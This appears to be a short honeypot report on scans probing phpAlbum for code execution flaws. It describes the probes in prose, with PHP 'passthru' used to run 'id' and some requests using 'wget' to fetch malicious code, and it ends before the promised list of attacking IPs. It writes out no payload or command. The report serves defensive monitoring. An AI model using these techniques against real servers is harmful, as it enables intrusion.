We have seen a number of scans probing for phpAlbum code execution vulns in our web honeypot logs:

Most of these requests are simply probes just to identify if a vulnerability exists by using the php "passthru" function to execute the OS "id" command. There are a few requests, however, to try and use "wget" to download some sort of malicous code onto the web server.
Here is a listing of IPs/hosts we have seen make these requests:
